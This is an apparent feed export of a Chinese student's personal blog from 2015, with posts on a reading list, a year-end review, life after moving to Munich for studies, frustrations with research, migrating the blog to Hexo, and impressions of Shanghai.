《成为和平饭店》陈丹燕著 推荐理由：外滩三部曲系列之一，当时是去上海之前买来读的。
《黄金时代》王小波著 推荐理由：王小波的名气就不用说了，读这本书的目的是奔着读经典去的。好吧被你猜中了，其实我当时也是听说这书是小黄文才去读的，不过后来读过之后我认为这本书其实是王小波自身的一个缩影，讲出了他眼中的文【嘿嘿嘿我确实对这个时期的作品很感兴趣】革和人生。
《北京，北京》冯唐著 推荐理由：最初是在Kindle商店里随便买下来的，读这本书的时候我还没到过北京，想顺着这本书了解一下。书的结尾很惆怅很玩世不恭，有很多感触。
《狼图腾》姜戎著 推荐理由：看完电影，很喜欢，所以顺便读了原著。
《一个戴灰帽子的人》邵燕祥著 推荐理由：文【嘿嘿嘿你好呀】革【嘿嘿嘿你好呀】时【嘿嘿嘿你好呀】期的纪实文学。这本书是我在上海的时候买的，我也是那个时候第一次接触这类纪实文学，耳目一新，恰好也是感兴趣的时期。
《人月神话》Frederick P.Brooks著 推荐理由：这本书名字给人的感觉就没有读下去的兴趣，其实这本书是讲软件开发管理，涉及技术，更偏管理。经典必读。
《创业维艰》Horowitz, Ben著 推荐理由：这本书最初是在王自如的视频里面看到的，最初买的是纯英文版，后来实在是看不动了，而且发现有中文版出版，这本书和另一本同样很火的从零到一不一样，从零到一显得过于浮躁了，所以虽然我读了从零到一，但并没有列在推荐列表里。
《Becoming Steve Jobs》Schlender, Brent著 推荐理由：这个不需要多说，乔布斯的传记。这本书没有读完…因为纯英文当时还肯不动，不过好像现在已经有台版的中译本了。但是我想以后我还是会找机会把这本纯英文版读完的。
《1948》George Orwell著 推荐理由：反乌托邦三部曲最有名的一本，这本书最吸引我的地方在于它描述了一个集权社会是如何的荒诞，可以说这本书成功的成为我的政治启蒙。
《我们》叶甫盖尼·扎米亚京著 推荐理由：这本书也是反乌托邦三部曲之一，剧情上与1948类似但不如1948吸引人，看这本数的原因是因为主角是一个数学家。其实三部曲的第三本美丽新世界我并没有时间继续读，不过通过这两本书基本上启发了我这个科幻迷对反乌托邦的思考。
下半年（九月后）：
《像外行一样思考，像专家一样实践：科研成功之道》金出武雄著 推荐理由：这本书其实是当时我在京东买技术类书籍的时候为了凑单而买下来的，买回来后发现这本书最有价值的地方在于讨论了做科研的时候究竟应该如何思考、如何解决问题。比如科研是什么，不是什么，科研的归宿又是什么，越能干的人，越会迷茫等等。
《Creativity, Inc.》Ed Catmull 等著 推荐理由：起初读这本书的目的很简单，我是奔着这本书是讲曾经乔布斯创办的Pixar而去的。后来这本书最吸引我的地方，是探讨了一个公司怎样保持可持续的创造力这样的资产，坦诚和建设性批评的重要性，以及对待失败的态度等等这些属于知易行难的传统智慧，非常有趣。
《天才在左，疯子在右》 高铭著 推荐理由：最初是陈华超推荐我读的这本，读过之后甚是有趣，是一本很适合拿来当故事读的书。虽然这本书以和精神病人探讨为基点，比如这本书里面有讲到一个疯子是如何看待黑洞的消失及四维时空等等，但是我依然觉得个别故事其实水分是很大的。不过这并不妨碍这本书出现在我的推荐列表里，因为它足够吸引人，足够让我扩宽眼界思考以前从来没有注意到的有趣事物。
《It&amp;rsquo;s Complicated: The Social Lives of Networked Teens》 Danah Boyd著 推荐理由： 这本书是我在读了前面的那两本反乌托邦三部曲后才发现的，这本书里面介绍了两种对待技术的新态度，而且最有意思的地方在于介绍了一些当年社交网络还没有开始流行，当时人们还不知道怎么面对它时候的那些历史（中国的社交网络兴起虽然我们经历过，但是事实上社交网络的真正历史是并不是这段时期）。</description></item><item><title>2015 年终总结</title><link>https://changkun.de/blog/posts/2015-summary/</link><pubDate>Sun, 20 Dec 2015 23:28:48 +0000</pubDate><guid>https://changkun.de/blog/posts/2015-summary/</guid><description>什么样的年纪有什么样的收获，什么样的环境有什么样的感悟。逐渐我似乎也明白了从前长辈们口中的『你还是个小孩，什么都不懂』，我现在还没想明白这到底意味着什么。前几天老夏跟我说，你他妈怎么又要写总结了，哪儿那么多总结可写。是啊，写那么多干嘛呢，还是憋在肚子里好，多专注一下自己的追求的东西。
大事几件 『昨夜西风凋碧树，独上高楼，望尽天涯路。』
没有记错的话今年真是发生了太多的第一次，第一次坐飞机、第一次用英文和一个外国人说话、第一次用英文做演讲、第一次去上海、第一次住院、第一次收到病危通知单、第一次做助教、第一次参加国际性的会议、第一次出国、第一次……
年初的时候老夏来了趟成都，也让我火急火燎的体验了一把人生的第一趟飞机。简直不要太爽。那一个月花钱买时间真是太舒服了。 如果没记错的话，这是我人生第一次用英语和外国人交流。 我也不记得是去年还是今年的时候我狂妄的说过一句话，计算机领域几乎所有的主要枝干都被我摸过了，剩下的无非是一些细枝末节，我只需在用到它们的时候去摸一摸就好了。所以今年结题的时候，卧槽，那自信。
努力有时候真的可以是很廉价的东西。十一月的时候疯狂的读了十几篇论文，发现别人无论从想法还是操作上都是完爆自己，那种伤心感真是难以言喻。
在我左边的那个戴眼镜的韩国帅哥叫智皓，学的是国际政治。圣诞节前，他又叫上我几个聚了聚，后来在酒吧里疯到一点多，玩各种差点没赶上回家的末班车。
保研志愿 保研的时候申请学校有几件『有趣』的事情。在填志愿之前，在我联系过的学校中，没回复我的就不提了，其中 A,B,C,D 四个学校的导师回我的邮件都非常特别，它们大抵类似下面这个样子：
我当时心里只有『草』这个字。（其实是我想太多，别人只是出于礼貌婉拒而已）
我这个人有时候很傻，傻到别人无论怎么明显的暗示我，我都不太能察觉到别人内心的想法，浪费了很多时间做很多无用的事情。
造轮子 琐事几件 『Trust by default.』
大病一年，这些几乎被我给抱怨烂了，就不谈它了。身体很重要就对了，所以后来我感觉，能够住在这样的环境里真是太棒了。
关于未来 『You are the average of the five nearest people around you.』
这三个月，真是接触了各种各样的牛人。
圣诞节前的几堂 HCI Tutorial 课是做 Wearable Device 的开发，然后考虑到并不是每个人都有设备，于是助教给每个想要开发的 team 发了一块全新的手表。
就在交作业的前一晚，我在机房里赶工，然后我注意到旁边的一哥们和一妹子坐在一起，是和我一起上课的人。我离开前扫了几眼他的屏幕，看起来进度并不是很理想，心想看样子他是不打算交作业了，这个样子居然还在把妹、聊天。
结果第二天在课上这哥们居然开发出来了（我当时瞬间觉得这个妹子自然是成功的抱到了大腿，但后来发现并不是），因为在我的经验开来，做出这样的功能几乎是在系统层面上不可能实现的，他的 presentation 结束后，我私下找他聊了很多，他也毫不保留的给我详细介绍了如何实现这种在我看来是也算是小型『黑科技』的产物，后来我感慨到『你说的这些我都知道，我怎么就没想到可以这么用』，他说『没有，一些小技巧而已，有一部分是 xxx（那个妹子，我并不知道那个妹子的名字怎么拼）告诉我的』。我当时就心想：『妈的，老子要是能听懂德语就好了』
想我四年前还是个土鳖（尽管现在仍然是），在听过这样那样的抱怨，读过这样那样的感慨，可今年经历过这样那样的人和事之后，我才真正意识到 platform 的重要性。于是想方设法达到一个更高的 platform，才能认识更多的人，同时在更高的平台对自己自然会有有更高的要求，然后就再也不会想下去了。
『我操，我一定要和这群牛逼的人在一起。』
『然后比他们更牛逼。嘿嘿嘿。』
2015.12.30 于 哥廷根</description></item><item><title>负能量爆表</title><link>https://changkun.de/blog/posts/%E8%B4%9F%E8%83%BD%E9%87%8F%E7%88%86%E8%A1%A8/</link><pubDate>Tue, 24 Nov 2015 20:08:56 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%B4%9F%E8%83%BD%E9%87%8F%E7%88%86%E8%A1%A8/</guid><description>大二的时候关注了这个问题，只记得当时看一些答案的时候完全没感觉。 今天冒出来一个新答案，点击去看了之后好心塞，发现自己条条中枪，简直负能量满满。 顺带又浏览了其他答案。突然就感觉自己懂了些什么。
问题：做科研/做科学家，最让你产生挫折感的是什么？
『作者：外星菜鸟 一般到PhD这个年龄（26+），会有很多欲望（对学术，对生活），然而无论时间、精力都是有限的，控制不好的话，往往会在生活和学术两头奔波，两头都照顾不好，这样的体验几乎会贯穿整个研究生生涯，挫败感很强。所以慢慢的我发现，爱情变成绝对的奢侈品了。没有足够的时间去social，没有足够的时间去谈恋爱，没有足够的金钱去支持这样的生活。到了后来，就已经自我说服了：女朋友能促进你写论文嘛？女朋友能帮你做实验嘛？女朋友能帮你分析数据吗？不行吧哈哈哈不要也罢&amp;hellip;.』（……我特么感觉自己也快了…T_T）
『作者：老编辑 突然冒出一个好想法的时候，你去看paper，发现这是十年前的一个热点。当这个好想法居然没有人提出过，你tmd发现这个想法没办法实现。当你发现这个想法居然有条件实现的时候，你tmd发现自己知识储备不足。当你终于看够了原理和文献可以动手了，你发现实验太粗糙不能让人信服。当你求爷爷告奶奶等fund买仪器把实验漂漂亮亮做出来以后，有两种可能，一种是重复性太差，另外一种大牛已经做出来了，而且tmd模型算法样本都甩出你三条街，而且人家还举重若轻把其他你拿不到的各种数据对比验证，做出的解释简洁优雅令人信服，你呕血三升想砸掉实验室的破比仪器开始怀疑人生。』（……嗯。怀疑人生）
『作者：Smile Zhu 一是对自己工作的意义产生怀疑，觉得是不是自己无论怎么努力也只会成为骗钱发文章大军中的一分子，最后无法做出任何真正有用的东西。 二是对其余的各种各样的知识兴趣过浓，有的时候会想自己是不是不适合做科研，而是去做别的一些事情更有意思些。 』（……兴趣广泛而无一精湛，是我）
『作者：柯蒂斯 科研探索的不确定性造成的焦虑 以及成功快感的稍纵即逝 不知道自己要干嘛 知道了要干嘛，不知道怎么干 知道了怎么干，不知道方法能不能work 方法能work， 不知道深度够不够打动审稿人 or 方法不能work， 而且不知道bug在哪 bug调了，数据有了，不知道文章该怎么写 文章写了稿投出去了，不知道能不能中 文章被拒了，不知道怎么改才能中 or 文章中了，收到congratulations像中彩票一样开心了一下 晚餐花了小20刀吃了个平时舍不得吃的大餐 第二天来实验室，不知道自己要干嘛 周而复始 除了中paper的那一天有快感 其他时间全是孤独地探索 快感=1/365 』（……(╯‵□′)╯︵┻━┻）
『作者：刘雨奇 第一步：我做的东西除了发 paper，还能有屌用！？第二步： 踏马的连 paper也被拒了&amp;hellip;&amp;hellip;』（……(╯‵□′)╯︵┻━┻）
『作者：chaos kun
无目的性的科研让我迷茫 无重复性的实验让我抓狂 无原创性的工作让我沮丧 1+2+3=无限期的延期 233』（无限延期23333333333…(╯‵□′)╯︵┻━┻） 『 作者：无码喂羊 想想看，一个人聪明，勤奋，认真，受了最高等的教育，与人通力合作，辛苦多年，完成了一个个课题，对人类毫无贡献，甚至对自己的家庭也毫无帮助。』（……(╯‵□′)╯︵┻━┻）
自己想出了一个超级牛逼的idea，硬着头皮做下去，某一天发现踏马的这玩意儿好几年前就有人做过了，而且你想到的别人都想到了还比你好；为了实现自己的idea，学了各种各样的方法，把所有东西前前后后摸了个大体透彻，前前后后的优缺点甚至相关历史基本熟悉了，然后猛然发现这些都踏马淘汰好多年了。
总结下来就是，智商、英语、努力，都不够用 。大家都这样咯。这就是生活嘛。这才是科研阿。(╯‵□′)╯︵┻━┻</description></item><item><title>转眼就快两个月了</title><link>https://changkun.de/blog/posts/%E8%BD%AC%E7%9C%BC%E5%B0%B1%E5%BF%AB%E4%B8%A4%E4%B8%AA%E6%9C%88%E4%BA%86/</link><pubDate>Sun, 18 Oct 2015 20:17:25 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%BD%AC%E7%9C%BC%E5%B0%B1%E5%BF%AB%E4%B8%A4%E4%B8%AA%E6%9C%88%E4%BA%86/</guid><description>到慕尼黑之前，心里一直琢磨一个写日志的念头，但是日志太难坚持，于是考虑写个周记或者月末总结，尝试一下把自己的心态放沉下来。结果，没想到一拖就已经拖到十月都快结束了。今天正好是周末+暴雨，实在是没有出门的动力，盘算一下来德国已经七个星期，自觉不能再这么拖下去了。
来德国之前，在向李喆打听慕尼黑的状况时他就无意间问起过我，你心里憧憬的慕尼黑是什么样子的？当时我愣了一下，其实我内心满是恐惧。因为在这之前的暑假几乎把我折腾个半死。以至于我在准备行李的时候焦虑到把所有的事情考虑全面，混迹于各种论坛，整理了一份事无巨细的checklist，准备了几乎所有个人档案的备份，比如证件，比如病历。结果到最后登机的那一刻才发现，慌忙之中还是落下了一件衣服。起初我以为飞机上全都是外国人，结果坐下来才发现，我周围竟然大部分都是中国人——旅游团。坐我旁边的一对老夫妇，无意中他们和我提到他们这是第一次出国，他们的儿子已经十年没回国了，此行是去参加他的婚礼。
到了德国之后的第一个月基本上算是适应生活，试想一下第一次把自己扔到一个自己完全不懂的语言环境里还是有一点点无助的。可能是出于安抚情绪？登机前还有个妹子找我蹭网，闲聊中问到我是去德国读德语课程还是英语课程吗，我说英语课程。结果她回我一句：没事，德国人英语挺好的。所以我在德语课开始一段时间内我一直抱有这样的想法：『我是来上英语课程的，这种纯基础基础德语课，学完了也不可能和德国人愉快的交流啊，不学也罢』，甚至于一段时间里我无法理解，为什么这个老师会在我完全不懂德语的情况下用德语教德语。
这样的想法换来的结果是，好几次买东西的时，收银员来一句德语，我回一句：Do you speak English? 然后对方无视我继续用德语对我说着什么…后来我才想明白，毕竟是德国嘛。然而当我意识到这点的时候，德语课已经进行到我快要听不懂的状态了…并且我惊奇的发现，同桌的来自葡萄牙哥们已经能够流畅的和老师用德语交谈，瞬间就感觉语言天赋什么的简直不能再变态了。
德语课虽然说学不到太多语言技能，但是却认识了很多想法不同的人。Outdoor education的时候老师把我和一个台湾的生物学博士分到一组合作，起初我还不知道他已经读到博士了，所以便好奇问道：你都读到博士了，德语还是零基础，为什么不考虑去美国呢？他回答说，这边的挑战大一些，所以就来了。起初我不是很理解他话里面的意思，直到后来德语课全部上完后，大家决定去酒馆Party一下，Party结束在回家的地铁上我又和他聊到这个话题，他说其实他在今年四月份的时候就来过德国面试PhD，后来也去趟美国。对比下来，还是觉得来德国这边的接触到的人和事会更有趣一些，能够经历更多的东西。然后还说第二天就要上班工作了，和我们一起喝酒喝到深夜两点不知道白天能不能起得来，以后他可能会很忙参加Party的机会会变少，挺羡慕我。最后还喃喃道：工作什么的什么时候都可以做，还是希望能够多经历一些的好。
从九月下旬开始，出于一些原因，我和国内还保持的比较紧密的联络，经常为了保持和国内联络畅通，打乱本已经适应好的生物钟，搞得两头累个半死。我几乎是到了德国之后才发现，原来在国内的时候人们甚至不会接受提前几天预约一个事情，我以前也完全不以为然。比如说约了后天的事情，往往会得到答复：那我们后天再定吧。所以这段时期两头顾及的我得到的体验是：他们非常喜欢直接打电话，而且是在工作时间区间内任意一个时间点打电话过来，并且丝毫不会理会对方是否方便进行将要进行的对话内容。于是来德国之后我开始越来越习惯并且喜欢上给自己的calendar安排日程，无论是重要到和教授的meeting，还是仅仅只是安排一个出门的时间，事情开始变得有条理了起来，规划也变得更加清晰。
九月末的时候，其实德国生活的新鲜感基本上已经退却，我觉得是时候开始上路了。于是原本每次德语课下课后都会饶有兴致的思考今天应该做什么菜吃，也逐渐变得变得越来越懒得在这上面花时间。好在从十月开始，琐事彻底完结，终于可以开始好好感受陈老师曾经和我说过的：『你可以好好感受一下国外开放的学术氛围，和国内有很大的差别。』
在和教授的死缠烂打下，我非常顺利的在开学前混进了学生实验室和这里的正在做Diploma Project的学生混各种脸熟。我感到很惊讶的是在这样的一个氛围里不同的人竟难以置信的只专注于他们自己感兴趣的领域。一个在做Kinect的和一个在做LeapMotion哥们居然完全没有涉及对方技术领域的想法，尽管从和他们的交谈中我能明显感受到他们所做的事情能够结合起来是多么的有价值。他们并彼此尊重对方的成果，并认为在对方的领域，对方才是expert。倘若换做是原来的我早就把两者都学了，然后得出原来也不过如此的结论。我终于明白，为什么以前我总是沉不下心来。
周五的时候约了学生主管问一些关于上课的事情，我和他说有堂并行计算的课主页上说是英语授课，但是我去了之后是用德语，也没有在课前询问过是否要用英语上课，没想到他马上说他可以联系那个课教授让他们换成英语上课。后来又聊到他的研究，聊了很多idea，结束前，他说我可以回去试试实践这些想法，我当时开玩笑的说道：如果一个星期就做完了怎么办？他哈哈大笑说：如果我能完成，将会令他非常impressive。走出办公室的那一刻，我确信，这个世界上最值得追求的，是自由和智慧。</description></item><item><title>博客迁移记录</title><link>https://changkun.de/blog/posts/%E5%8D%9A%E5%AE%A2%E8%BF%81%E7%A7%BB%E8%AE%B0%E5%BD%95/</link><pubDate>Sun, 13 Sep 2015 23:18:38 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%8D%9A%E5%AE%A2%E8%BF%81%E7%A7%BB%E8%AE%B0%E5%BD%95/</guid><description>一点闲话 大三这一年经历了不少事情，导致博客长期断更。一言难尽，就上一句老夏送给我的心灵鸡汤来概括吧：
所有的事情最后都会有好结局，如果你觉得结局不好，那是因为还没有到最后。
迁移原因 其实想把博客从wordpress迁移到静态博客上早在今年四月时就已经开始琢么了，当时大概研究了 Hexo 不到两个小时，觉得靠谱。由于当时忙于学业、生活各方面原因（你们懂的），直到现在来到慕尼黑后才正式开始。
这半年来用惯了 Markdown，更方便地写东西，更加专注于内容，比码起字来就忘语法的 LaTeX 好多了。
其实我也研究过 Wordpress 的 Markdown 插件，实在是没有发现好用的。很长时间是用 LaTeX 里然后往博客上粘贴，太麻烦了。
搭了三年的 Wordpress，最终还是决定卸下，让自己来 Control Every Thing。
Hexo有以下优点：
本地命令行管理，随时随地写作。 命令简单，只需要会hexo n，hexo g，hexo s，hexo d就能搞定一切。 搭建参考 搭建过程其实官方文档写得超级详细了，另外就是我用了NexT的主题:
官方文档：http://hexo.io/docs/ NexT主题：http://theme-next.iissnan.com 迁移问题 在博客从wordpress迁移到hexo的过程中，主要碰到的问题及解决办法如下:
文章迁移问题。原来的 Wordpress 文章里的图片都是保存在服务器用URI的方式来提取的，现在使用了Github Pages后，原来的服务器就没有必要存在了，所以文章中的死链需要一一解决，图片链接同样也需要一一解决。这里我暂时没有想到好办法，只能一篇文章一篇文章的手动适配。 LaTeX公式兼容。以前在 Wordpress 里用的是插件来解决的 LaTeX 公式的解析，到了 Hexo 这里就不能这么干了，我在 Github 上找到了这个项目：hexo-math。这个项目非常好的解决了 LaTeX 公式的解析问题。但是仍然需要手动适配。 待挖掘。</description></item><item><title>大三总结</title><link>https://changkun.de/blog/posts/%E5%A4%A7%E4%B8%89%E6%80%BB%E7%BB%93/</link><pubDate>Mon, 15 Jun 2015 07:26:20 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%A4%A7%E4%B8%89%E6%80%BB%E7%BB%93/</guid><description>可以预见的是，度过接下来这段考试的日子后，剩下的一年，将不再能像是过去那般的大学生活了。正如在班级群里有同学匿名喊道的那样：“交了四年的钱上了三年的大学”。这一年里，我认为我经历更多的是社会的浮躁、人心的浮动，而不是本该沉下来的心和越发精湛的知识与能力。我也是时候开始整理着装，重新出发了。
关于生活 {% centerquote %}身体是革命的本钱。{% endcenterquote %}
从小我奶奶就同我念叨这句话。然而我却毫无准备的受到了它的重创。在大三的这一年里真是饱受身体的折磨，我能够静下心来思考和学习的时间被大量的压缩。从大二下学期考试结束回家小待了一周返校后，便开始持续头疼了长达两个月的时间。好不容易不知怎么回事的恢复了之后，再在十一月上旬又获面瘫，持续一个月往返于医院和学校之间治疗，搞得心神不宁。
一个月后好不容易治好了，结果马上又患上了耳聋，半个月后莫名其妙恢复后，十二月底视力突然下降，右眼在整个大三上学期的期末考试阶段几乎彻底失明。在整个大三期间，我就在这样一种周期不超过两个月的“失聪-恢复-失明-恢复”还伴有持续头疼和耳鸣的状态循环折腾下，一直持续到了今天仍未痊愈。
在其中几个病重的阶段内我几乎把所有的怨念都埋怨给了我的亲人，我埋怨他们对我不够关心甚至延误病情——在病重的日子里不送我去医院、因过年不吉利而不允许我吃药等等。
然而事实上我内心知道他们的不易却依旧将这些不该说的话说出了口，我才意识到我的自私远比我想象中要大——他们做得已经够多。
直到上周，“饱经沧桑”的我终于死缠烂打，约到了多科会诊，在长达半个小时的会诊下，医生基本确定了病因，在药物治疗下，病情已经开始稳定，至于能不能治好，就是另一个问题了。
总得来说，最终确定病因可能是先天性的，查了查研究报告，平均发病年龄恰好是这个时间点，所以生病这事儿不能怨天尤人，怪就该怪命中注定吧。这场病让我关注到了很多以前从未在意或关注的事物，也算作一种成长。
唯一遗憾的是，如果不生病的话，一切也许会完全不一样吧。如果真的有平行宇宙，我想看看那个世界是怎么个样子。
关于学习 整个大三有一个很明显的感受就是，看的书少了，写的代码也少了，但接触的人和事多得多了，身边突然一下子就冒出来各种牛逼，应接不暇，招架不住。于是养病这段期间花了很长的时间整理我的一些“杂物”。
电脑硬盘里三年来逐渐积累下来的接近500G的文件，有下载的资料、自己写的代码、自己写的文章、自己做的视频和图片等等。我甚至对着那些躺在硬盘里已经一年没有被我翻过的我写过的那些代码惊叹：我当年居然还做过这些（我现在都不一定能做出来的）东西。
整理完这三年来买来读过的书，却发现，专业书之外的阅读量几乎为零。甚至于连我以前喜欢打的游戏也越发觉得索然无味。然而专业却也学得很“Full Stack”，开发上算不上精通，算法上只是略知一二，自己喜欢的数学，也只自学成了一个半吊子水货。
我是一个纯粹的死理性派，所以我对一切“玄学”沾边的东西都是不屑一顾的，比如中医。我的母亲因为我这年的身体状况在家乡县城里找了一个小有名气的瞎子给我算命，瞎子说我的运程都还挺不错的，今年是个坎，但总是有贵人相助。这话说得在理，我的大学里确实遇到了太多的贵人，我总是非常庆幸自己每每都能遇到好的老师指路，提供更多地机会。可是，如果自己不争气，也无济于事。对我帮助最多的陈雅茜老师，就是贵人之一。如果没有她的Push，我和我强烈地拖延症，估计没一件事情能干成。师者完成了传道、授业、解惑，而我却还是没能完成早几个月前就已经安排给我的任务，deadline一延再延，还是没能完成，错失一个大好机会，想想就觉得自己挺没用的。
所以后来在大创项目这事儿上，我的怨念还是比较大的，我总是好奇，难道别人的项目就真的是团队协作干出来的？而且每每到最后甚至会出现那种团结一致的强烈气氛，我却总是体会不到，他们真的真的是齐心协力共同完成的吗？队友一说：我要考研，并断掉了所有的社交网络；我只好不去打扰。队友二说：好，过几天就写给你。苦等却没有结果。队友三说：我不会，不懂。我还能说什么呢。
当然，这事儿并不愿谁，也不该怨谁。回想起来整个项目其实也只是我自己的“一意孤行”，能拉上他们和我一起干，实属不易。所以我也认识到我是一个多么不善于沟通的人。
这次我妈陪我看病时与我提到，“别把自己搞这么累，什么事儿都往自己身上揽，当年你妈在橡胶厂炼胶的时候，总觉着别人炼出来的胶质量差，总揽着我自己弄，结果把自己累得要死，别人却拿着和我相同的工资。” 话虽如此，可能到现在接受的教训还不够多，所以从内心里我依然不能接受这样的行为，事情提出来了，总归要干到自己满意为止才对。尽管到最后，我把整个项目作为一个大学阶段的一道门槛，强行的迈了过去。结果，当然是不尽如人意的。
我确实厌倦了一人的战斗。
另外就是龟谷团队这件事儿了。其实我是很想以自己的身体状况为借口的，侃侃而谈什么“怎么什么事儿都往我身上推”。但事实上是我又一次彻彻底底的认识到自己是一个多么不善于社交、多么不善于团结人心、多么不适合做管理的人。去年俊生学长把龟谷实验室的负责人交给我，我尝试担起这份责任，make things better，最初斗志爆棚，希望能够借助龟谷的力量，办一场牛逼哄哄的产品发布会、拍一段牛逼哄哄的宣传视频、做一个牛逼哄哄的产品出来等等。一年下来却事与愿违，不知道自己到底在忙着什么，每周二的晚上像是完成任务性的赶去机房，通知一些事情过后，就坐下来一起消磨时光，等待着每周的这一个小时过去。一年下来，贡献为零。归根结底，是因为我能力不够，做得不够。所以到今年换届的时候，在我如此糟糕的”领导&amp;quot;下，还能有这么多人聚在一起，感觉能有你们在，真好。
关于未来 按照一般的剧情，即将步入大四的我应该纠结的事情是选择考研还是保研，选择读研还是工作。
在这件事情上，我曾在大一的时候和大学里对我帮助最多的老师之一周伟老师探讨过，他曾极力建议我去考数学研究生，他说他也同曾勇老师还在校车上聊到过我，说我是个好苗子，所以我也确实受他的建议打过一段时间的鸡血，每天捧着刷题，但时间一长我便冷却了下来。因为，在高考填写志愿的最后还是因为父亲的“恐吓”而没有坚持自己的选择报上数学专业，但如今还在坚持学一些和我专业不沾边的数学，只不过是自己骗自己，为自己找个借口罢了。
后来随着自身了解和掌握的专业技术越来越多，我发现赚钱也是一件能够吸引我的事情，我又动起了直接工作的念头。我发现创业、做产品、赚钱是多么富有激情的一件事情，我在我的硬盘里记录下了一个又一个的想法，在Xcode中新建了一个有一个的项目。然而正如前面所说的那样，我意识到我是一个彻头彻尾的Nerd，这一切也又一次埋在了心底。
然而世事难料，万万没想到，最不可能的事情发生了。
出国交换这件事情一开始我是完全没有想法的，我第一次听老师和我提及这事儿是在大二的上学期，当时整个整个交换项目都还没有敲定，我完全没有把这件事情当回事。一来是我英语特差，从初二以来就再没听过英语课，连基本的语法都不懂；二来是我这么个“乡镇分子”窝在这么一个歌舞中学里，想啥子出国。直到后来慢慢出现心态上的变化，我对这件事情的期待变得越来越大。
起初我抱着八字还没有一撇的心态和我的父母提及这件事情，他们并没有说什么。当这学期真正快要进行选拔时，我依旧恶疾缠身，我才真正看出来在这件事情上，我的父母、亲人们，并不是100%支持我的。当我意识到这点的时，我无比的失望。在我的理解中，我的父亲应该支持我出去，这能为他赢得曾因高考失利在饭局上的失去的颜面，但这将为他增加很大一笔经济负担（每次我听到人说我很有钱，都想扇他妈的两耳光）；我的母亲应该支持我出去，我却第一次从我母亲口中听到“读那么多书有什么用？”；我的奶奶应该支持孙子出去，我却听到“出去了可千万要回来，别和家乡人断了联系”……忽然回想起来，第一次和父亲提及这件事情的时候，父亲问我：“出国干什么呢？”而我当时毫不犹豫的回道：“不出国干什么呢？” 无论如何，我愿意相信，支持的Part是远大于不支持的Part的。
风雨兼程，困难再多，我依然觉得人总还是得出去走走，才能知道自己有多么渺小，才能在未来的日子里准备好成为一颗“小小的螺丝钉”。
在关于未来这件事上，我已不需考虑太多，我依旧秉承那句：计划赶不上变化。
写在后面的 矫情的话我亲口是说不出来的，只能以文字表述了：
感谢我的父母和奶奶以及其他的亲人们，你们给予我支持，是永不倒下的后盾； 感谢我的几位好基友，你们同我一起怀揣理想，共同奋斗；感谢我的老师们，传道、授业、解惑； 感谢所有给予帮助的人，你们则是我精彩生命中不可或缺的点缀。 最后，我想起了德里克《云端之上》里的话：
{% centerquote %} 我们走在同一条路上，穿的却是各自的鞋； 我们住在同一栋楼里，看到的却是不同的风景。 {% endcenterquote %}
希望，明天会更好。
2015.06.15 于 成都</description></item><item><title>这个世界，终究不会是我们的。</title><link>https://changkun.de/blog/posts/%E8%BF%99%E4%B8%AA%E4%B8%96%E7%95%8C%E7%BB%88%E7%A9%B6%E4%B8%8D%E4%BC%9A%E6%98%AF%E6%88%91%E4%BB%AC%E7%9A%84/</link><pubDate>Mon, 25 May 2015 21:23:50 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%BF%99%E4%B8%AA%E4%B8%96%E7%95%8C%E7%BB%88%E7%A9%B6%E4%B8%8D%E4%BC%9A%E6%98%AF%E6%88%91%E4%BB%AC%E7%9A%84/</guid><description>记得第一次到成都的时候，我内心满怀好奇与期待，独自脱离父母前往大学校园终于要正式跨入并生活在一个大都市之中。而在此之前，父亲为了激励我对大城市的那种向往，在进入高中之前到过重庆，即便如此，我对成都所感受到的那种好感，依然远胜过重庆。但是上海，作为一座城市，第一次令我感到不适。
短短不到一天的时间，发生了很多有趣的事情。
上海的这些人走路很急。走在成都大街上的时，我一直觉得我走路还算快，因为我总是在不停地超过别人，但在上海却完全不一样，上海的这些人似乎很“忙”。从离开机场以后，我总是被不停地超越，他们或手提公文包，或西装革履，或埋头于手机。
离开机场坐上地铁后，看着周围的人们，我能够阴影约约的感受到弥漫在这个城市空气中的压力。地铁上没有遇到结伴出游的大学生，车厢里成堆的西装革履，每个人都专注于手机屏幕，或者是电话打个不停。满口就是：客户如何如何，这是多少的单子，一定要拿下，要让客户开心之类的话。
应该是上海的人民对于地铁等基础设施熟悉得不能再过习惯了，仅仅是地铁站就能够看到无人打理的基础设施，2号线人民广场站地铁进站时本应该关闭的保险门，看样子是坏掉很久了，竟没有人来修理？安检也是乱糟糟的感觉，安检工作人员居然在睡觉？
莫名其妙的外国人。作为一座国际性很浓的城市，随处可见老外（话说我是第一次见到中国男+外国女和外国男+中国女组合的情侣和夫妇）。虽然我不知道是不是我实在太落后感受不到上海的国际化程度，来到东方明珠面前的天桥，我只是站着休息一会儿想想接下来该去哪儿，居然不停地有老外上前或者找帮忙拍照和问路，甚至还有主动搭讪。难道他们心目中的上海民众都已经熟练掌握英文了？（而且为毛都来问我）
压抑的小巷，奇高的楼房。找到住宿后，发现外滩附近的住房楼都奇高，地面利用率简直爆表。房子与房子之间的间距只有两个或者一个车道的距离，天空的可见面积很少。想想在这样的地方生活久了，确实连抬头看个星星都会觉得没有太大意义，反正也看不到。
逼格奇高的国金中心。这辈子第一次进需要在前台登记并领取访客卡的建筑物（前台工作人员相貌也真是上品），进去就上来两个保安围住我，问我干嘛，真是吓我一跳。国金中心就在东方明珠旁边，来上海前我还一直寻思可能有很远。嗯。旋转门，第一次进。虽然我不理解所谓大客户是肿么回事，这算是见识了，对待客户应当帮客户推动旋转门，让用户先进，不和用户挤同一个旋转门，尽管空间很大。（你们身价有多少呢？空气中全是钱的气息。
离开外滩后，去了上海书城泡了一下午。是我还长得不够老气吗，为什么一眼就认出我是学生？书城里不停地有培训机构，甚至同一个机构的不同人员上来搭讪，问我学不学英语，还说要送我教材，短暂交流几句反问我：你不是住在上海吧？我说我来上海出差，立马就不鸟我了。还有的人问我学不学日语，好心给他填了一份信息（虽然都是假的），居然还摆出一副死脸相。
离开书城的时候门口恰好又有一个培训机构的妹子要我填信息。短暂的闲聊中她和我提到说：哎，以前我也是学计算机的，做网站设计，后来来了上海这边实在是不好找工作，找到工作后工资实在太低，迫不得已才转来了做销售。我反问到：你是哪个大学的，这边做网站工资很低吗？她答：南京大学，我当时那个网站工作才6000。
